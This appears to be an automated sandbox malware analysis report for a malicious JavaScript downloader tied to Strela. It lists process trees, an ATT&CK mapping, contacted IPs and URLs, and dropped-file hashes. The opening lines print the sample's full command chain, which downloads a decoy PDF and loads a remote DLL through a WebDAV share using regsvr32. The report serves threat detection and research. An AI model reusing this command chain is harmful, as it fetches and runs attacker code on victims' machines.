Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
32750305971799721630.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/$	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/paceO	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/C	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/g	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/paceO	net.exe, 00000006.00000002.1739502383.000001BEED560000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2954459108.00000230CE0B3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/$	net.exe, 00000006.00000002.1739587237.000001BEED5AF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1735354118.000001BEED5AD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/g	net.exe, 00000006.00000002.1739587237.000001BEED58D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1736167047.000001BEED58D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1736167047.000001BEED58D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/C	net.exe, 00000006.00000002.1739587237.000001BEED58D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1736167047.000001BEED58D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588270
Start date and time:	2025-01-10 23:17:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	32750305971799721630.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/54@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 34.237.241.83, 54.224.241.105, 50.16.47.176, 18.213.11.84, 2.16.168.107, 2.16.168.105, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 4.245.163.56, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 32750305971799721630.js

Simulations

Behavior and APIs

Time	Type	Description
17:18:01	API Interceptor	25x Sleep call for process: powershell.exe modified
17:18:05	API Interceptor	1x Sleep call for process: net.exe modified
17:18:05	API Interceptor	2x Sleep call for process: svchost.exe modified
17:18:17	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14174249761820017751.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19597294421812213615.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1492619129759821343.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	256361061998227470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307354746656068
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrz:KooCEYhgYEL0In
MD5:	5C7543D26B9D7902075D5D6CB7768E39
SHA1:	50DB97AE8BF096D3E34BB96E43A6D9BF72F7B76B
SHA-256:	E4E4F909473899331B083EC4EB6144928E95F97F8A2A32C3FFE5D53CA591F9A4
SHA-512:	8EFDD0F25D5B68A09B3694489485DDDAB179A3E7995C4C51719AFBEA4DC0EF5B42A3F5101F2DDB5C3F08983AF513CE2AA20013C13508000B92637DF39EA01A94
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x8418a5e2, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221822017364376
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	15C1AA71C6D3F884BE3BC0FE39CB08D1
SHA1:	F56D6391BA9275DEFE72747254A18A29B53407CE
SHA-256:	331E5FA46263D5C7F257157EE33C96C00FF2B23BE87E08D575B21E92EA5410A8
SHA-512:	FE9DDEE3EF15E6F8ABAE793CD4437577E978AC6F6BE9AFB0465752B3F7EDB5EE9F50A53ED7EF9C99738402DF705951E0A177E3A09FB385FCE5158C71AAB0CE93
Malicious:	false
Preview:	....... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................\|........}...................w.......}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07673232798552912
Encrypted:	false
SSDEEP:	3:wl/KYeUDvuTejjn13a/HjS4llcVO/lnlZMxZNQl:wl/Kz8vxj53qHdOewk
MD5:	5C8B977640224F990B26FAB1227DD249
SHA1:	7DAA2182B7897FA34ABDAC7628CBA4474906FAAC
SHA-256:	39E41324B1482257E25D139A0D0416F36095CD0CBA095F5632F28356CD40E7E9
SHA-512:	01CB4A2A8FB2241495651076F64E583D82C9CEC9AE8B859E783D6696FB4ED46F12E6A244C9D8F968A9EFB357F5052B0BC010C913D0F27FA4530D0CFF6351D314
Malicious:	false
Preview:	.4&}.....................................;...{.......}.......{A..............{A......{A..........{A].................w.......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.14745888389228
Encrypted:	false
SSDEEP:	6:iO4ZcN+q2Pwkn2nKuAl9OmbnIFUtSZyDVaXZmwsZyDVa3VkwOwkn2nKuAl9Ombjd:7MvYfHAahFUt3o/Zw5JfHAaSJ
MD5:	3A178FB7DD89324D08D80E7FC42DDED2
SHA1:	6B363C9E91946640B985489D1A8BE02FD08DF3D3
SHA-256:	AFEC98DBA0C159B2341EF2835E1AABBA792D601B00B9A7E1D312FB7450EEF8BF
SHA-512:	1B6C709C0634CCE82895B8847F1E805E390E06E1D55ACDEDF9E0976588291F564F6254B1B8475AB11ECBE7E2F9D8F23333CA6A387AA07DA8D5EC99AB6CCE032B
Malicious:	false
Preview:	2025/01/10-17:18:04.998 1028 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:18:05.002 1028 Recovering log #3.2025/01/10-17:18:05.002 1028 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.14745888389228
Encrypted:	false
SSDEEP:	6:iO4ZcN+q2Pwkn2nKuAl9OmbnIFUtSZyDVaXZmwsZyDVa3VkwOwkn2nKuAl9Ombjd:7MvYfHAahFUt3o/Zw5JfHAaSJ
MD5:	3A178FB7DD89324D08D80E7FC42DDED2
SHA1:	6B363C9E91946640B985489D1A8BE02FD08DF3D3
SHA-256:	AFEC98DBA0C159B2341EF2835E1AABBA792D601B00B9A7E1D312FB7450EEF8BF
SHA-512:	1B6C709C0634CCE82895B8847F1E805E390E06E1D55ACDEDF9E0976588291F564F6254B1B8475AB11ECBE7E2F9D8F23333CA6A387AA07DA8D5EC99AB6CCE032B
Malicious:	false
Preview:	2025/01/10-17:18:04.998 1028 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:18:05.002 1028 Recovering log #3.2025/01/10-17:18:05.002 1028 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.142086287855131
Encrypted:	false
SSDEEP:	6:iO4ZyN+q2Pwkn2nKuAl9Ombzo2jMGIFUtSZy34ZmwsZyXFNVkwOwkn2nKuAl9OmT:7SvYfHAa8uFUtr4/Hz5JfHAa8RJ
MD5:	91AFA74444FBAD0EE995F743E0754335
SHA1:	BC14F75A894F42C79E59DA0C55C5E43D7F553B90
SHA-256:	C7792B38FBECC4C8F325B68B79F89F8E5C9F639E29B0BA3E86FC498772863C14
SHA-512:	BDADE2D2F8D2C8E989F680349FF0112A5FF25056BE996FBC10E912B1D93231199514D272901A1F69CD9245326BE73A472EB05A2389690220E8EFC93A52998AB8
Malicious:	false
Preview:	2025/01/10-17:18:05.113 1c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:18:05.114 1c78 Recovering log #3.2025/01/10-17:18:05.115 1c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.142086287855131
Encrypted:	false
SSDEEP:	6:iO4ZyN+q2Pwkn2nKuAl9Ombzo2jMGIFUtSZy34ZmwsZyXFNVkwOwkn2nKuAl9OmT:7SvYfHAa8uFUtr4/Hz5JfHAa8RJ
MD5:	91AFA74444FBAD0EE995F743E0754335
SHA1:	BC14F75A894F42C79E59DA0C55C5E43D7F553B90
SHA-256:	C7792B38FBECC4C8F325B68B79F89F8E5C9F639E29B0BA3E86FC498772863C14
SHA-512:	BDADE2D2F8D2C8E989F680349FF0112A5FF25056BE996FBC10E912B1D93231199514D272901A1F69CD9245326BE73A472EB05A2389690220E8EFC93A52998AB8
Malicious:	false
Preview:	2025/01/10-17:18:05.113 1c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:18:05.114 1c78 Recovering log #3.2025/01/10-17:18:05.115 1c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.974636997008592
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq3JsBdOg2HBcaq3QYiubInP7E4T3y:Y2sRdsndMH43QYhbG7nby
MD5:	46E276FF13F704F779738A50AE5B1891
SHA1:	4B2153AB66A94E1EBDE062CF65BC40755D984F89
SHA-256:	9E5C99DE8ADC42DB9C8967E568F709BBCAE15C6FC4D74C2238B51F533E8D05C0
SHA-512:	EAD096FDEB6DEB1CA3E1A05B75B222FF4A13F215596BDF99AD6E8B3860F57C9D1B72430CDFEDFAAEF28321960C55505BDE5F2E28A9EF3E802196FD550C297846
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381107497506990","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128938},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f2e98079-4856-425d-8402-2818a5a6ee0e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.974636997008592
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq3JsBdOg2HBcaq3QYiubInP7E4T3y:Y2sRdsndMH43QYhbG7nby
MD5:	46E276FF13F704F779738A50AE5B1891
SHA1:	4B2153AB66A94E1EBDE062CF65BC40755D984F89
SHA-256:	9E5C99DE8ADC42DB9C8967E568F709BBCAE15C6FC4D74C2238B51F533E8D05C0
SHA-512:	EAD096FDEB6DEB1CA3E1A05B75B222FF4A13F215596BDF99AD6E8B3860F57C9D1B72430CDFEDFAAEF28321960C55505BDE5F2E28A9EF3E802196FD550C297846
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381107497506990","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128938},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.254151971473556
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo78VNmhVTX:etJCV4FiN/jTN/2r8Mta02fEhgO73goL
MD5:	D78BEE0EBB1EABD0FF88E3A43C2E5B7C
SHA1:	FB3F1D3DD5BA4E0EA59F76F3CA2A7B8D2A07E4DA
SHA-256:	0D552D4006D9298E0469F944FCEC8F49E23320698AE7AD90E55A9E24EAED0483
SHA-512:	96ED5F1892CCEB44390281D985D0E7783D74B1BAC5AC523E5B94170ED68E31E9A1C5A594772FF26838579EC35134CD1F0C599E3DEFD97AB4B94109BCF8559369
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.176499227165786
Encrypted:	false
SSDEEP:	6:iO4ZyeI+q2Pwkn2nKuAl9OmbzNMxIFUtSZysZZmwsZycIVkwOwkn2nKuAl9OmbzE:7sdvYfHAa8jFUtgZ/x5JfHAa84J
MD5:	0F9FF67B2CA1E862C714C477F6BFC1A8
SHA1:	9835BF9367165E0D7B0BB0FCB3C3E9F698B38522
SHA-256:	68FE734D43F86729BEFFB4E09CE387C56E0EF17BE0E691DB7626550754DB79C5
SHA-512:	51E7284E9C39F5015603B652CDC01406E48D17A92CB10E4AEE9E6334EEC3164CE6E6C3BAF87AB1DF3545F2E07DB00B6509DED5DB5D5C1EED6ECBFC93ABA29D77
Malicious:	false
Preview:	2025/01/10-17:18:05.274 1c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:18:05.275 1c78 Recovering log #3.2025/01/10-17:18:05.276 1c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.176499227165786
Encrypted:	false
SSDEEP:	6:iO4ZyeI+q2Pwkn2nKuAl9OmbzNMxIFUtSZysZZmwsZycIVkwOwkn2nKuAl9OmbzE:7sdvYfHAa8jFUtgZ/x5JfHAa84J
MD5:	0F9FF67B2CA1E862C714C477F6BFC1A8
SHA1:	9835BF9367165E0D7B0BB0FCB3C3E9F698B38522
SHA-256:	68FE734D43F86729BEFFB4E09CE387C56E0EF17BE0E691DB7626550754DB79C5
SHA-512:	51E7284E9C39F5015603B652CDC01406E48D17A92CB10E4AEE9E6334EEC3164CE6E6C3BAF87AB1DF3545F2E07DB00B6509DED5DB5D5C1EED6ECBFC93ABA29D77
Malicious:	false
Preview:	2025/01/10-17:18:05.274 1c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:18:05.275 1c78 Recovering log #3.2025/01/10-17:18:05.276 1c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444868137115581
Encrypted:	false
SSDEEP:	384:yezci5tgiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r3s3OazzU89UTTgUL
MD5:	97586F1B27E2FEAD58599C601BBAC94A
SHA1:	63A3318CFE958FCAD9F8511908D763793CA8A425
SHA-256:	8794835298421E4044863ED0E077C1CBE69F94C7AB1B7D91214B6E17AEC7B43D
SHA-512:	5298C9CB9526F33253F546FBB3C7569C59D0B61D13DF6689301B8D8BC1B3FFD1BED6A292A6EC5C034BBFB0B512434546789595D2D5C02F0F12CD1CC1DF0FC3C4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.776298096301813
Encrypted:	false
SSDEEP:	48:7MYp/E2ioyViioy9oWoy1Cwoy1OKOioy1noy1AYoy1Wioy1hioybioysoy1noy1b:7zpjuiFpXKQt0b9IVXEBodRBk+
MD5:	D9580F6E4AE954FDA70B0DFFF3F99EF1
SHA1:	B1D916FFB60452EA0C98361EFD1EECC59AA6F2E1
SHA-256:	2F5D1F8A90F6B6A015B26605BD3D79874C3F57994DF79D6C1C5E1AAC29B3B1C1
SHA-512:	108AFE35783B89CB59BEBC6032421557A70E095855FE0494FB396CF6FE829482186B01AC5EFCE3F6B3536F9A7CCFDA934AAF60571D07EF05CC011534C34FC20C
Malicious:	false
Preview:	.... .c.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
